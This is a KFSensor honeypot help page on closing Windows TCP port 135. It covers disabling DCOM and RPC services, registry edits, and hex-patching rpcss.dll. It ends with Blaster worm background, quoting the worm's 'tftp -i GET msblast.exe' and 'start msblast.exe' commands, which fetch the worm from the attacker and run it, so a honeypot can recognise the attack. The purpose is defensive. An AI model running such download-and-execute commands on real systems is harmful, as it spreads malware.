MS RPC, port 135, DCOM buffer overrun and the Blaster worm

Microsoft's RPC implementation runs over TCP port 135.
RPC is used by a number of higher level protocols for their transport layer, such as by DCOM.
Vulnerabilities have been found in Microsoft's RPC implementation and the services it gives access to.

Closing TCP port 135

It is highly desirable to close port 135 and to allow KFSensor to listen to it. Port 135 is consistently on of the most attacked ports on the Internet.

It is not possible to simply disable the RPC service as there are many essential parts of Windows that require RPC to be running even though they do not make network connections.

However Microsoft does not allow RPC to configured to a different port and by default it is bound to all network interfaces making it vulnerable to attack from the Internet.

The following sections describe how to disable services that run on top of RPC, which is desirable in itself, and then to close port 135 itself.

Disable RPC dependent services

Several non-essential services use RPC and these should be disabled.
Shutdown and disable the following services in the services console.
SSDP Discovery Service
Windows Time
Remote Registry
System Event Notification
Remote Desktop Help Session Manager
Distributed Transaction Coordinator
Task Scheduler service
COM+ Event System
COM+ System Application

Disable DCOM

Windows DCOM allows applications to share COM functionality over a TCP/IP network. Only a few applications have ever used DCOM and it is due to be phased out by Microsoft. This functionality is turned on by default and uses RPC.

  1. Run "Dcomcnfg.exe" from the Start menu "Run." item.
  2. Select the following: Component Services -> Computers -> My Computer
  3. Right Click and select the Properties menu item
  4. Select the Default Properties tab
    Uncheck "Enable Distributed COM on this computer" option.
  5. Select the Default Protocols tab
    Remove "Connection-oriented TCP/IP" from the list of DCOM protocols.
It is also possible do the same directly by editing the registry.
  1. Run "regedt32.exe" from the Start menu "Run." item.
  2. Select the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole"
    Set the value "EnableDCOM" to "N".
  3. Select the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc"
    Edit the value "DCOM Protocols". This may contain a number of strings.
    Delete the string "ncacn_ip_tcp"

Configure RPC

It is possible to reconfigure MS RPC to make it safer using a Microsoft configuration tool rpccfg.

To obtain this tool go to www.microsoft.com and enter rpccfg into their site search and download it from the link.

The idea is to get RPC to only bind to the loopback address.

  1. From the DOS command prompt type: rpccfg -l
  2. This will list the available interfaces. Make a note of the number next to the subnet, which will probably 1.
  3. Now type: rpccfg -a 1 (or the number you noted before).
  4. Now type: rpccfg -q and only the loopback address should be listed.
To complete the configuration the following setting needs to be added to the Registry:
  1. Run "regedt32.exe" from the Start menu "Run." item.
  2. Select the key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs"
    Add the string value "ListenOnInternet" and set it to "N".

After performing the above re-boot the machine.

If all the RPC using services have been closed down then port 135 should now be closed and KFSensor will be able to use it.
If port 135 is still bound by RPC then at least one RPC using service is still running.
Either close down the remaining RPC using services, or if they cannot be shut down then there is the option of patching the RPC server.

Patching the RPC server

This technique is suitable for Windows XP and 2003 only. Later version of Windows contain a feature that will recognize when system files have been changed and will repair them automatically and thus overwrite the patch.

Microsoft RPC cannot be configured not to listen on a different port to 135.
Instead it is necessary to patch the system to force it not to use the port.
Patching an OS is strictly for advanced users.

The server needs to be patched using a hex editor.
If you do not have a hex editor, use 010 Editor which you can get from this address:

The RPC server is implemented in a file called rpcss.dll, however this file is in constant use.
So you will first have to disable it, re-boot, patch it, re-enable it and reboot again.

  1. Make a copy of the file rpcss.dll, as a backup.
    Copy the file from \windows\system32\rpcss.dll into one of your own directories, using Windows Explorer.
  2. From the Start menu select Run.
  3. Enter "regedt32" and click on OK.
  4. Expand the tree and select the key:
  5. Rename the value "ImagePath" to "xImagePath"
  6. Exit regedt32 and re-boot the machine. The machine may take longer than normal to start up and some functionality will no longer be available. The Start bar may longer be visible to it is a good idea to have a short cut to a DOS BOX on the desktop. This will be re-enabled later.
  7. Run your hex editor and open the file "from \windows\system32\rpcss.dll"
  8. Search for the byte sequence "31 00 33 00 35" or the Unicode text "135".
  9. Over-write this byte sequence to "30 00 30 00 30".
    This changes the port from 135 to 000, which DCOM will not be able to open.
  10. Save the file in the hex editor.
  11. From the Start menu select Run.
  12. Enter "regedt32" and click on OK.
  13. Expand the tree and select the key:
    HKLM\System\CurrentControlSet\Services\ RpcSs
  14. Rename the value "xImagePath" to "ImagePath"
  15. Exit regedt32 and re-boot the machine.
  16. The DCOM server should no longer bind to port 135 and KFSensor should be listening to this port.

Blaster background

On the 16 July 2003 Microsoft released a patch to fix a buffer overrun in its Windows Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) interface.

On the 11 August 2003 a new worm ('Blaster') was detected which exploited this vulnerability and rapidly infected large numbers of unpatched machines.

The Blaster worm attacks a Windows machine by first executing a buffer overrun at port 135 TCP. This causes a vulnerable machine to listen to port 4444 TCP and execute the following command "tftp -i GET msblast.exe". This downloads the worm from the attacking machine. msblast.exe is then executed and the process continues.

You can find a full description of the Blaster worm here:

Blaster events

If attacked by the Blaster worm you will see the following two events in quick succession.

1. Port 135

Received 1776 bytes containing the binary buffer overrun.

2. Port 4444

Containing the following text:
tftp -i GET msblast.exe
start msblast.exe

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